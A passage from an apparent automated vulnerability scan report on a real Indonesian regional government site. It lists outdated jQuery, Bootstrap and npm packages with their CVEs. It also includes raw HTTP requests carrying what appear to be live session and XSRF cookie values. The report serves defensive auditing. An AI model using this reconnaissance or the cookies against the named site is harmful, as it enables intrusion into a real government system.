native Object.prototype.<br>◦ References:<br>▪ https://blog.jquery.com/2020/04/10/jquery-3-5-0-released/<br>▪ https://mksben.l0.cm/2020/05/jquery3.5.0-xss.html<br>▪ https://jquery.com/upgrade-guide/3.5/<br>▪ https://api.jquery.com/jQuery.htmlPrefilter/<br>▪ https://www.cvedetails.com/cve/CVE-2020-11022/<br>▪ https://github.com/advisories/GHSA-gxr4-xjj5-5px2<br>▪ https://www.cvedetails.com/cve/CVE-2020-11023/<br>▪ https://github.com/advisories/GHSA-jpcq-cgw6-v4j6<br>▪ https://github.com/jquery/jquery/pull/4333<br>▪ https://nvd.nist.gov/vuln/detail/CVE-2019-11358<br>▪ https://nvd.nist.gov/vuln/detail/CVE-2019-5428<br>▪ https://blog.jquery.com/2019/04/10/jquery-3-4-0-released/ |

```
GET /portal/ HTTP/1.1

Referer: http://sibkd.semarangkab.go.id/portal

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate,br

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/108.0.0.0 Safari/537.36

Host: sibkd.semarangkab.go.id

Connection: Keep-alive
```

| Web Server | |
|---|---|

| Alert group | Vulnerable JavaScript libraries |
|---|---|
| Severity | Medium |
| Description | You are using one or more vulnerable JavaScript libraries. One or more vulnerabilities were reported for this version of the library. Consult Attack details and Web References for more information about the affected library and the vulnerabilities that were reported. |
| Recommendations | Upgrade to the latest version. |
| Alert variants | |
| Details | • **jQuery 2.1.4**<br>◦ URL: http://sibkd.semarangkab.go.id/sib/<br>◦ Detection method: The library's name and version were determined based on its dynamic behavior.<br>◦ CVE-ID: CVE-2015-9251, CVE-2020-11022, CVE-2020-11023, CVE-2019-11358<br>◦ Description: Possible Cross Site Scripting via third-party text/javascript responses (1.12.0-1.12.2 mitigation reverted) / In jQuery versions greater than or equal to 1.2 and before 3.5.0, passing HTML from untrusted sources - even after sanitizing it - to one of jQuery's DOM manipulation methods (i.e. .html(), .append(), and others) may execute untrusted code. This problem is patched in jQuery 3.5.0. / In jQuery versions greater than or equal to 1.0.3 and before 3.5.0, passing HTML containing option elements from untrusted sources - even after sanitizing it - to one of jQuery's DOM manipulation methods (i.e. .html(), .append(), and others) may execute untrusted code. This problem is patched in jQuery 3.5.0. / jQuery mishandles jQuery.extend(true, {}, ...) because of Object.prototype pollution. If an unsanitized source object contained an enumerable __proto__ property, it could extend the native Object.prototype.<br>◦ References:<br>▪ https://github.com/jquery/jquery/issues/2432<br>▪ https://blog.jquery.com/2020/04/10/jquery-3-5-0-released/<br>▪ https://mksben.l0.cm/2020/05/jquery3.5.0-xss.html<br>▪ https://jquery.com/upgrade-guide/3.5/<br>▪ https://api.jquery.com/jQuery.htmlPrefilter/<br>▪ https://www.cvedetails.com/cve/CVE-2020-11022/<br>▪ https://github.com/advisories/GHSA-gxr4-xjj5-5px2<br>▪ https://www.cvedetails.com/cve/CVE-2020-11023/<br>▪ https://github.com/advisories/GHSA-jpcq-cgw6-v4j6<br>▪ https://github.com/jquery/jquery/pull/4333<br>▪ https://nvd.nist.gov/vuln/detail/CVE-2019-11358<br>▪ https://nvd.nist.gov/vuln/detail/CVE-2019-5428<br>▪ https://blog.jquery.com/2019/04/10/jquery-3-4-0-released/ |

```
GET /sib/ HTTP/1.1

Referer: http://sibkd.semarangkab.go.id/sib

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate,br

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/108.0.0.0 Safari/537.36

Host: sibkd.semarangkab.go.id

Connection: Keep-alive
```

| | |
|---|---|
| **Web Server** | |
| **Alert group** | **Vulnerable JavaScript libraries** |
| Severity | Medium |
| Description | You are using one or more vulnerable JavaScript libraries. One or more vulnerabilities were reported for this version of the library. Consult Attack details and Web References for more information about the affected library and the vulnerabilities that were reported. |
| Recommendations | Upgrade to the latest version. |
| Alert variants | |
| Details | • **jQuery 1.10.2**<br>◦ URL: http://sibkd.semarangkab.go.id/simpeg/<br>◦ Detection method: The library's name and version were determined based on its dynamic behavior.<br>◦ CVE-ID: CVE-2015-9251, CVE-2020-11022, CVE-2020-11023<br>◦ Description: Possible Cross Site Scripting via third-party text/javascript responses / In jQuery versions greater than or equal to 1.2 and before 3.5.0, passing HTML from untrusted sources - even after sanitizing it - to one of jQuery's DOM manipulation methods (i.e. .html(), .append(), and others) may execute untrusted code. This problem is patched in jQuery 3.5.0. / In jQuery versions greater than or equal to 1.0.3 and before 3.5.0, passing HTML containing option elements from untrusted sources - even after sanitizing it - to one of jQuery's DOM manipulation methods (i.e. .html(), .append(), and others) may execute untrusted code. This problem is patched in jQuery 3.5.0.<br>◦ References:<br>▪ https://github.com/jquery/jquery/issues/2432<br>▪ http://blog.jquery.com/2016/01/08/jquery-2-2-and-1-12-released/<br>▪ https://blog.jquery.com/2020/04/10/jquery-3-5-0-released/<br>▪ https://mksben.l0.cm/2020/05/jquery3.5.0-xss.html<br>▪ https://jquery.com/upgrade-guide/3.5/<br>▪ https://api.jquery.com/jQuery.htmlPrefilter/<br>▪ https://www.cvedetails.com/cve/CVE-2020-11022/<br>▪ https://github.com/advisories/GHSA-gxr4-xjj5-5px2<br>▪ https://www.cvedetails.com/cve/CVE-2020-11023/<br>▪ https://github.com/advisories/GHSA-jpcq-cgw6-v4j6 |

```
GET /simpeg/ HTTP/1.1

Referer: http://sibkd.semarangkab.go.id/simpeg

Cookie: XSRF-
TOKEN=eyJpdiI6IkZpV3Q2QnhUNFZIeENhNGZSd0VGK2c9PSIsInZhbHVlIjoiVk43WGdiODlXZVRZU1c2XC9hVTV
hckxqaG1vM3BubTVVZml3N041cGFRdjVTd0xUZEZtMzJNZHZPR1duQVwvVk1lMUhJVDQrK2xaUHZ0RHlFMEVJZGdM
dz09IiwibWFjIjoiZmY4NDA5YTQyNzU4ZmM1MzgzZWYzZmQ5MjAzMzZkMTM0ODk4ZDcyMDEwYjk3NTNiMzZmZDNhO
ThlMDVhMDZhNCJ9;
bkdblora2016_session_=eyJpdiI6IkhTcDZcL1R1dUQ2R3pUZEFWeU9oeEJnPT0iLCJ2YWx1ZSI6IlUxWFRiQmU
xTWp2Y3RobDB5UmRoU21TbktRcU8yTFwveFYxQ21xU1dRaXMzXC9yNUxPT0N3cUZacllqNTN5cGZkRSsxRCszZWFm
RDN3MzY4WHI3eElRRmc9PSIsIm1hYyI6IjA3OTMwODE1ZjEwOGNjMzA2NDZmY2ZkZTBkM2I5ZmUxY2VjNWRiMzFhM
DQ1NmI3YjY1ZDQxMDAxZDVkYjY4NzQifQ%3D%3D

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate,br

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/108.0.0.0 Safari/537.36

Host: sibkd.semarangkab.go.id

Connection: Keep-alive
```

| **Web Server** | |
|---|---|
| **Alert group** | **Vulnerable JavaScript libraries** |
| Severity | Medium |
| Description | You are using one or more vulnerable JavaScript libraries. One or more vulnerabilities were reported for this version of the library. Consult Attack details and Web References for more information about the affected library and the vulnerabilities that were reported. |
| Recommendations | Upgrade to the latest version. |
| Alert variants | |

| | |
|---|---|
| Details | • **jQuery 1.11.0**<br>◦ URL: http://sibkd.semarangkab.go.id/skp/<br>◦ Detection method: The library's name and version were determined based on its dynamic behavior.<br>◦ CVE-ID: CVE-2015-9251, CVE-2020-11022, CVE-2020-11023<br>◦ Description: Possible Cross Site Scripting via third-party text/javascript responses / In jQuery versions greater than or equal to 1.2 and before 3.5.0, passing HTML from untrusted sources - even after sanitizing it - to one of jQuery's DOM manipulation methods (i.e. .html(), .append(), and others) may execute untrusted code. This problem is patched in jQuery 3.5.0. / In jQuery versions greater than or equal to 1.0.3 and before 3.5.0, passing HTML containing option elements from untrusted sources - even after sanitizing it - to one of jQuery's DOM manipulation methods (i.e. .html(), .append(), and others) may execute untrusted code. This problem is patched in jQuery 3.5.0.<br>◦ References:<br>▪ https://github.com/jquery/jquery/issues/2432<br>▪ http://blog.jquery.com/2016/01/08/jquery-2-2-and-1-12-released/<br>▪ https://blog.jquery.com/2020/04/10/jquery-3-5-0-released/<br>▪ https://mksben.l0.cm/2020/05/jquery3.5.0-xss.html<br>▪ https://jquery.com/upgrade-guide/3.5/<br>▪ https://api.jquery.com/jQuery.htmlPrefilter/<br>▪ https://www.cvedetails.com/cve/CVE-2020-11022/<br>▪ https://github.com/advisories/GHSA-gxr4-xjj5-5px2<br>▪ https://www.cvedetails.com/cve/CVE-2020-11023/<br>▪ https://github.com/advisories/GHSA-jpcq-cgw6-v4j6 |

```
GET /skp/ HTTP/1.1

Referer: http://sibkd.semarangkab.go.id/skp

Cookie: XSRF-
TOKEN=eyJpdiI6IlNqZ2V0dUF1aWs3OXJUK0o0TGx3a0E9PSIsInZhbHVlIjoiclNsMW5mUTBQQmxqcDlJMFZsamV
PM0ZndnczQ0RZUjZOMnRcL3E2b2pJaHR1N0tXcnFVWVE5UWJUMENzWEJBMVpLVU5DVnBIbGs4UGdPRG5jTFNkdnlB
PT0iLCJtYWMiOiI2YzExYTQ2Yjk2Y2ZiYzEwMjVlOGUxNzVmN2IxZTZiNzNjMWUyNDhlZTlkODQ1YWU5MTFlNzZiN
TZlNGQ0NWZmIn0%3D;
bkdblora2016_session_=eyJpdiI6IjRpSDY0MVg1cUpcL1wvT2tFZ01STldCQT09IiwidmFsdWUiOiJCZmdJSSt
Ua0RGYm9kQlgyQ1BwSXdiOFo2WU5FcFdVTStHb3ZxQzVQcUtGdnZHVEUrWTRNN0h0ZGpZNXE0Yk1ab1VzWDFwem5x
TWdLZW5zaDdhWU9GUT09IiwibWFjIjoiOGRkNmM2MDVlOTM3OWU0ZjNhMzk3YTJkNDQ4MDgyNWM5Y2EwYjZiZDMxM
jcxOTliZDQ2ZDlkMGRhNTM5MDJhMCJ9

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate,br

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/108.0.0.0 Safari/537.36

Host: sibkd.semarangkab.go.id

Connection: Keep-alive
```

| **/portal/** | |
|---|---|
| **Alert group** | **Vulnerable package dependencies [medium]** |
| Severity | Medium |

| | |
|---|---|
| Description | One or more packages that are used in your web application are affected by known vulnerabilities. Please consult the details section for more information about each affected package. |
| Recommendations | It's recommended to update the vulnerable packages to the latest version (if a fix exists). If a fix does not exist, you may want to suggest changes that address the vulnerability to the package maintainer or remove the package from your dependency tree. |
| Alert variants | |

| | |
|---|---|
| Details | List of vulnerable **npm** packages:<br><br>**Package:** axios<br>**Version:** 0.17.1<br>**CVE:** CVE-2020-28168<br>**Title:** Server-Side Request Forgery (SSRF)<br>**Description:** Axios NPM package 0.21.0 contains a Server-Side Request Forgery (SSRF) vulnerability where an attacker is able to bypass a proxy by providing a URL that responds with a redirect to a restricted host or IP address.<br>**CVSS V2:** AV:N/AC:M/Au:N/C:P/I:N/A:N<br>**CVSS V3:** CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N<br>**CWE:** CWE-918<br>**References:**<br>• https://github.com/axios/axios/issues/3369<br>• https://cert-portal.siemens.com/productcert/pdf/ssa-637483.pdf<br>• https://lists.apache.org/thread.html/r954d80fd18e9dafef6e813963eb7e08c228151c2b6268ecd63b35d1f%40%3Ccommits.druid.apache.org%3E<br>• https://lists.apache.org/thread.html/r25d53acd06f29244b8a103781b0339c5e7efee9099a4d52f0c230e4a%40%3Ccommits.druid.apache.org%3E<br>• https://lists.apache.org/thread.html/rdfd2901b8b697a3f6e2c9c6ecc688fd90d7f881937affb5144d61d6e%40%3Ccommits.druid.apache.org%3E<br><br>**Package:** axios<br>**Version:** 0.17.1<br>**CVE:** CVE-2023-45857<br>**Title:** Cross-Site Request Forgery (CSRF)<br>**Description:** An issue discovered in Axios 1.5.1 inadvertently reveals the confidential XSRF-TOKEN stored in cookies by including it in the HTTP header X-XSRF-TOKEN for every request made to any host allowing attackers to view sensitive information.<br>**CVSS V2:**<br>**CVSS V3:** CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N<br>**CWE:** CWE-352<br>**References:**<br>• https://github.com/axios/axios/issues/6006<br><br>**Package:** bootstrap<br>**Version:** 4.1.1<br>**CVE:** CVE-2018-14042<br>**Title:** Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')<br>**Description:** In Bootstrap before 4.1.2, XSS is possible in the data-container property of tooltip.<br>**CVSS V2:** AV:N/AC:M/Au:N/C:N/I:P/A:N<br>**CVSS V3:** CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N<br>**CWE:** CWE-79<br>**References:**<br>• https://github.com/twbs/bootstrap/pull/26630<br>• https://github.com/twbs/bootstrap/issues/26628<br>• https://github.com/twbs/bootstrap/issues/26423<br>• https://blog.getbootstrap.com/2018/07/12/bootstrap-4-1-2/<br>• https://seclists.org/bugtraq/2019/May/18<br>• http://seclists.org/fulldisclosure/2019/May/13<br>• http://seclists.org/fulldisclosure/2019/May/11<br>• http://seclists.org/fulldisclosure/2019/May/10<br>• http://packetstormsecurity.com/files/156743/OctoberCMS-Insecure-Dependencies.html<br>• https://www.oracle.com/security-alerts/cpuApr2021.html<br>• https://www.tenable.com/security/tns-2021-14 |

- https://lists.apache.org/thread.html/52e0e6b5df827ee7f1e68f7cc3babe61af3b2160f5d74a85469b7b0e%40%3Cdev.superset.apache.org%3E
- https://lists.apache.org/thread.html/b0656d359c7d40ec9f39c8cc61bca66802ef9a2a12ee199f5b0c1442%40%3Cdev.drill.apache.org%3E
- https://lists.apache.org/thread.html/519eb0fd45642dcecd9ff74cb3e71c20a4753f7d82e2f07864b5108f%40%3Cdev.drill.apache.org%3E
- https://lists.apache.org/thread.html/f9bc3e55f4e28d1dcd1a69aae6d53e609a758e34d2869b4d798e13cc%40%3Cissues.drill.apache.org%3E
- https://lists.apache.org/thread.html/r3dc0cac8d856bca02bd6997355d7ff83027dcfc82f8646a29b89b714%40%3Cissues.hbase.apache.org%3E
- https://lists.apache.org/thread.html/rd0e44e8ef71eeaaa3cf3d1b8b41eb25894372e2995ec908ce7624d26%40%3Ccommits.pulsar.apache.org%3E

**Package:** bootstrap
**Version:** 4.1.1
**CVE:** CVE-2019-8331
**Title:** Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
**Description:** In Bootstrap before 3.4.1 and 4.3.x before 4.3.1, XSS is possible in the tooltip or popover data-template attribute.
**CVSS V2:** AV:N/AC:M/Au:N/C:N/I:P/A:N
**CVSS V3:** CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
**CWE:** CWE-79
**References:**
- https://github.com/twbs/bootstrap/releases/tag/v4.3.1
- https://github.com/twbs/bootstrap/pull/28236
- http://www.securityfocus.com/bid/107375
- https://github.com/twbs/bootstrap/releases/tag/v3.4.1
- https://blog.getbootstrap.com/2019/02/13/bootstrap-4-3-1-and-3-4-1/
- https://support.f5.com/csp/article/K24383845
- https://seclists.org/bugtraq/2019/May/18
- http://seclists.org/fulldisclosure/2019/May/13
- http://seclists.org/fulldisclosure/2019/May/11
- http://seclists.org/fulldisclosure/2019/May/10
- https://access.redhat.com/errata/RHSA-2019:1456
- https://access.redhat.com/errata/RHSA-2019:3023
- https://access.redhat.com/errata/RHSA-2019:3024
- http://packetstormsecurity.com/files/156743/OctoberCMS-Insecure-Dependencies.html
- https://www.oracle.com/security-alerts/cpuApr2021.html
- https://www.tenable.com/security/tns-2021-14
- https://lists.apache.org/thread.html/54df3aeb4239b64b50b356f0ca6f986e3c4ca5b84c515dce077c7854%40%3Cuser.flink.apache.org%3E
- https://lists.apache.org/thread.html/10f0f3aefd51444d1198c65f44ffdf2d78ca3359423dbc1c168c9731%40%3Cdev.flink.apache.org%3E
- https://lists.apache.org/thread.html/17ff53f7999e74fbe3cc0ceb4e1c3b00b180b7c5afec8e978837bc49%40%3Cuser.flink.apache.org%3E
- https://lists.apache.org/thread.html/52bafac05ad174000ea465fe275fd3cc7bd5c25535a7631c0bc9bfb2%40%3Cuser.flink.apache.org%3E
- https://lists.apache.org/thread.html/52e0e6b5df827ee7f1e68f7cc3babe61af3b2160f5d74a85469b7b0e%40%3Cdev.superset.apache.org%3E

- https://lists.apache.org/thread.html/b0656d359c7d40ec9f39c8cc61bca66802ef9a2a12ee199f5b0c1442%40%3Cdev.drill.apache.org%3E
- https://lists.apache.org/thread.html/519eb0fd45642dcecd9ff74cb3e71c20a4753f7d82e2f07864b5108f%40%3Cdev.drill.apache.org%3E
- https://lists.apache.org/thread.html/f9bc3e55f4e28d1dcd1a69aae6d53e609a758e34d2869b4d798e13cc%40%3Cissues.drill.apache.org%3E
- https://lists.apache.org/thread.html/r3dc0cac8d856bca02bd6997355d7ff83027dcfc82f8646a29b89b714%40%3Cissues.hbase.apache.org%3E
- https://lists.apache.org/thread.html/rd0e44e8ef71eeaaa3cf3d1b8b41eb25894372e2995ec908ce7624d26%40%3Ccommits.pulsar.apache.org%3E
- https://support.f5.com/csp/article/K24383845?utm_source=f5support&amp%3Butm_medium=RSS

**Package:** bootstrap
**Version:** 4.1.1
**CVE:** CVE-2018-14041
**Title:** Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
**Description:** In Bootstrap before 4.1.2, XSS is possible in the data-target property of scrollspy.
**CVSS V2:** AV:N/AC:M/Au:N/C:N/I:P/A:N
**CVSS V3:** CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
**CWE:** CWE-79
**References:**
- https://github.com/twbs/bootstrap/pull/26630
- https://github.com/twbs/bootstrap/issues/26627
- https://github.com/twbs/bootstrap/issues/26423
- https://blog.getbootstrap.com/2018/07/12/bootstrap-4-1-2/
- https://seclists.org/bugtraq/2019/May/18
- http://packetstormsecurity.com/files/152787/dotCMS-5.1.1-Vulnerable-Dependencies.html
- http://seclists.org/fulldisclosure/2019/May/13
- http://seclists.org/fulldisclosure/2019/May/11
- http://seclists.org/fulldisclosure/2019/May/10
- https://access.redhat.com/errata/RHSA-2019:1456
- http://packetstormsecurity.com/files/156743/OctoberCMS-Insecure-Dependencies.html
- https://www.oracle.com/security-alerts/cpuApr2021.html
- https://lists.apache.org/thread.html/52e0e6b5df827ee7f1e68f7cc3babe61af3b2160f5d74a85469b7b0e%40%3Cdev.superset.apache.org%3E
- https://lists.apache.org/thread.html/b0656d359c7d40ec9f39c8cc61bca66802ef9a2a12ee199f5b0c1442%40%3Cdev.drill.apache.org%3E
- https://lists.apache.org/thread.html/519eb0fd45642dcecd9ff74cb3e71c20a4753f7d82e2f07864b5108f%40%3Cdev.drill.apache.org%3E
- https://lists.apache.org/thread.html/f9bc3e55f4e28d1dcd1a69aae6d53e609a758e34d2869b4d798e13cc%40%3Cissues.drill.apache.org%3E
- https://lists.apache.org/thread.html/r3dc0cac8d856bca02bd6997355d7ff83027dcfc82f8646a29b89b714%40%3Cissues.hbase.apache.org%3E

**Package:** braces
**Version:** 1.8.5
**CVE:** CVE-2018-1109

**Title:** Uncontrolled Resource Consumption
**Description:** A vulnerability was found in Braces versions prior to 2.3.1. Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) attacks.
**CVSS V2:** AV:N/AC:L/Au:N/C:N/I:N/A:P
**CVSS V3:** CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
**CWE:** CWE-400
**References:**
- https://snyk.io/vuln/npm:braces:20180219
- https://bugzilla.redhat.com/show_bug.cgi?id=1547272

**Package:** engine.io
**Version:** 3.2.0
**CVE:** CVE-2022-41940
**Title:** Uncaught Exception
**Description:** Engine.IO is the implementation of transport-based cross-browser/cross-device bi-directional communication layer for Socket.IO. A specially crafted HTTP request can trigger an uncaught exception on the Engine.IO server, thus killing the Node.js process. This impacts all the users of the engine.io package, including those who uses depending packages like socket.io. There is no known workaround except upgrading to a safe version. There are patches for this issue released in versions 3.6.1 and 6.2.1.
**CVSS V2:**
**CVSS V3:** CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
**CWE:** CWE-248
**References:**
- https://github.com/socketio/engine.io/commit/83c4071af871fc188298d7d591e95670bf9f9085
- https://github.com/socketio/engine.io/commit/425e833ab13373edf1dd5a0706f07100db14e3c6
- https://github.com/socketio/engine.io/security/advisories/GHSA-r7qp-cfhv-p84w

**Package:** follow-redirects
**Version:** 1.5.1
**CVE:** CVE-2022-0155
**Title:** Exposure of Private Personal Information to an Unauthorized Actor
**Description:** follow-redirects is vulnerable to Exposure of Private Personal Information to an Unauthorized Actor
**CVSS V2:** AV:N/AC:M/Au:N/C:P/I:N/A:N
**CVSS V3:** CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
**CWE:** CWE-359
**References:**
- https://huntr.dev/bounties/fc524e4b-ebb6-427d-ab67-a64181020406
- https://github.com/follow-redirects/follow-redirects/commit/8b347cbcef7c7b72a6e9be20f5710c17d6163c22
- https://cert-portal.siemens.com/productcert/pdf/ssa-637483.pdf

**Package:** hosted-git-info
**Version:** 2.7.1
**CVE:** CVE-2021-23362
**Title:** Inefficient Regular Expression Complexity
**Description:** The package hosted-git-info before 3.0.8 are vulnerable to Regular Expression Denial of Service (ReDoS) via regular expression shortcutMatch in the fromUrl function in index.js. The affected regular expression exhibits polynomial worst-case time complexity.
**CVSS V2:** AV:N/AC:L/Au:N/C:N/I:N/A:P
**CVSS V3:** CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
**CWE:** CWE-1333
**References:**

- https://github.com/npm/hosted-git-info/commit/bede0dc38e1785e732bf0a48ba6f81a4a908eba3
- https://snyk.io/vuln/SNYK-JS-HOSTEDGITINFO-1088355
- https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1088356
- https://github.com/npm/hosted-git-info/commits/v2
- https://github.com/npm/hosted-git-info/commit/29adfe5ef789784c861b2cdeb15051ec2ba651a7
- https://github.com/npm/hosted-git-info/commit/8d4b3697d79bcd89cdb36d1db165e3696c783a01
- https://cert-portal.siemens.com/productcert/pdf/ssa-389290.pdf

**Package:** jquery
**Version:** 3.3.1
**CVE:** CVE-2020-11023
**Title:** Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
**Description:** In jQuery versions greater than or equal to 1.0.3 and before 3.5.0, passing HTML containing <option> elements from untrusted sources - even after sanitizing it - to one of jQuery's DOM manipulation methods (i.e. .html(), .append(), and others) may execute untrusted code. This problem is patched in jQuery 3.5.0.
**CVSS V2:** AV:N/AC:M/Au:N/C:N/I:P/A:N
**CVSS V3:** CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
**CWE:** CWE-79
**References:**
- https://jquery.com/upgrade-guide/3.5/
- https://github.com/jquery/jquery/security/advisories/GHSA-jpcq-cgw6-v4j6
- https://blog.jquery.com/2020/04/10/jquery-3-5-0-released
- https://security.netapp.com/advisory/ntap-20200511-0006/
- https://www.drupal.org/sa-core-2020-002
- https://www.debian.org/security/2020/dsa-4693
- https://www.oracle.com/security-alerts/cpujul2020.html
- http://lists.opensuse.org/opensuse-security-announce/2020-07/msg00067.html
- https://security.gentoo.org/glsa/202007-03
- http://lists.opensuse.org/opensuse-security-announce/2020-07/msg00085.html
- https://www.oracle.com/security-alerts/cpuoct2020.html
- http://lists.opensuse.org/opensuse-security-announce/2020-11/msg00039.html
- https://www.oracle.com/security-alerts/cpujan2021.html
- https://www.tenable.com/security/tns-2021-02
- https://lists.debian.org/debian-lts-announce/2021/03/msg00033.html
- http://packetstormsecurity.com/files/162160/jQuery-1.0.3-Cross-Site-Scripting.html
- https://www.tenable.com/security/tns-2021-10
- https://www.oracle.com/security-alerts/cpuApr2021.html
- https://www.oracle.com//security-alerts/cpujul2021.html
- https://www.oracle.com/security-alerts/cpuoct2021.html
- https://www.oracle.com/security-alerts/cpujan2022.html
- https://www.oracle.com/security-alerts/cpuapr2022.html
- https://www.oracle.com/security-alerts/cpujul2022.html
- https://lists.debian.org/debian-lts-announce/2023/08/msg00040.html
- https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/QPN2L2XVQGUA2V5HNQJWHK3APSK3VN7K/
- https://lists.apache.org/thread.html/r094f435595582f6b5b24b66fedf80543aa8b1d57a3688fbcc21f06ec%40%3Cissues.hive.apache.org%3E
- https://lists.apache.org/thread.html/rf661a90a15da8da5922ba6127b3f5f8194d4ebec8855d60a0dd13248%40%3Cdev.hive.apache.org%3E
- https://lists.apache.org/thread.html/r9c5fda81e4bca8daee305b4c03283dddb383ab8428a151d4cb0b3b15%40%3Cissues.hive.apache.org%3E

- https://lists.apache.org/thread.html/ra3c9219fcb0b289e18e9ec5a5ebeaa5c17d6b79a201667675af6721c%40%3Cgitbox.hive.apache.org%3E
- https://lists.apache.org/thread.html/radcb2aa874a79647789f3563fcbbceaf1045a029ee8806b59812a8ea%40%3Cissues.hive.apache.org%3E
- https://lists.apache.org/thread.html/rd38b4185a797b324c8dd940d9213cf99fcdc2dbf1fc5a63ba7dee8c9%40%3Cissues.hive.apache.org%3E
- https://lists.apache.org/thread.html/r6e97b37963926f6059ecc1e417721608723a807a76af41d4e9dbed49%40%3Cissues.hive.apache.org%3E
- https://lists.apache.org/thread.html/rb69b7d8217c1a6a2100247a5d06ce610836b31e3f5d73fc113ded8e7%40%3Cissues.hive.apache.org%3E
- https://lists.apache.org/thread.html/r4aadb98086ca72ed75391f54167522d91489a0d0ae25b12baa8fc7c5%40%3Cissues.hive.apache.org%3E
- https://lists.apache.org/thread.html/ra374bb0299b4aa3e04edde01ebc03ed6f90cf614dad40dd428ce8f72%40%3Cgitbox.hive.apache.org%3E
- https://lists.apache.org/thread.html/rb25c3bc7418ae75cba07988dafe1b6912f76a9dd7d94757878320d61%40%3Cgitbox.hive.apache.org%3E
- https://lists.apache.org/thread.html/rf1ba79e564fe7efc56aef7c986106f1cf67a3427d08e997e088e7a93%40%3Cgitbox.hive.apache.org%3E
- https://lists.apache.org/thread.html/ra32c7103ded9041c7c1cb8c12c8d125a6b2f3f3270e2937ef8417fac%40%3Cgitbox.hive.apache.org%3E
- https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/SFP4UK4EGP4AFH2MWYJ5A5Z4I7XVFQ6B/
- https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/AVKYXLWCLZBV2N7M46KYK4LVA5OXWPBY/
- https://lists.apache.org/thread.html/ra406b3adfcffcb5ce8707013bdb7c35e3ffc2776a8a99022f15274c6%40%3Cissues.hive.apache.org%3E
- https://lists.apache.org/thread.html/rab82dd040f302018c85bd07d33f5604113573514895ada523c3401d9%40%3Ccommits.hive.apache.org%3E
- https://lists.apache.org/thread.html/r6c4df3b33e625a44471009a172dabe6865faec8d8f21cac2303463b1%40%3Cissues.hive.apache.org%3E
- https://lists.apache.org/thread.html/r1fed19c860a0d470f2a3eded12795772c8651ff583ef951ddac4918c%40%3Cgitbox.hive.apache.org%3E
- https://lists.apache.org/thread.html/r0593393ca1e97b1e7e098fe69d414d6bd0a467148e9138d07e86ebbb%40%3Cissues.hive.apache.org%3E
- https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/SAPQVX3XDNPGFT26QAQ6AJIXZZBZ4CD4/
- https://lists.apache.org/thread.html/rda99599896c3667f2cc9e9d34c7b6ef5d2bbed1f4801e1d75a2b0679%40%3Ccommits.nifi.apache.org%3E
- https://lists.apache.org/thread.html/r706cfbc098420f7113968cc377247ec3d1439bce42e679c11c609e2d%40%3Cissues.flink.apache.org%3E

- https://lists.apache.org/thread.html/rbb448222ba62c430e21e13f940be4cb5cfc373cd3bce56b48c0ffa67%40%3Cdev.flink.apache.org%3E
- https://lists.apache.org/thread.html/r49ce4243b4738dd763caeb27fa8ad6afb426ae3e8c011ff00b8b1f48%40%3Cissues.flink.apache.org%3E
- https://lists.apache.org/thread.html/r2c85121a47442036c7f8353a3724aa04f8ecdfda1819d311ba4f5330%40%3Cdev.felix.apache.org%3E
- https://lists.apache.org/thread.html/r4dba67be3239b34861f1b9cfdf9dfb3a90272585dcce374112ed6e16%40%3Cdev.felix.apache.org%3E
- https://lists.apache.org/thread.html/r3702ede0ff83a29ba3eb418f6f11c473d6e3736baba981a8dbd9c9ef%40%3Cdev.felix.apache.org%3E
- https://lists.apache.org/thread.html/r07ab379471fb15644bf7a92e4a98cbc7df3cf4e736abae0cc7625fe6%40%3Cdev.felix.apache.org%3E
- https://lists.apache.org/thread.html/r9e0bd31b7da9e7403478d22652b8760c946861f8ebd7bd750844898e%40%3Cdev.felix.apache.org%3E
- https://lists.apache.org/thread.html/rf0f8939596081d84be1ae6a91d6248b96a02d8388898c372ac807817%40%3Cdev.felix.apache.org%3E
- https://lists.apache.org/thread.html/r9006ad2abf81d02a0ef2126bab5177987e59095b7194a487c4ea247c%40%3Ccommits.felix.apache.org%3E
- https://lists.apache.org/thread.html/r55f5e066cc7301e3630ce90bbbf8d28c82212ae1f2d4871012141494%40%3Cdev.felix.apache.org%3E
- https://lists.apache.org/thread.html/r8f70b0f65d6bedf316ecd899371fd89e65333bc988f6326d2956735c%40%3Cissues.flink.apache.org%3E
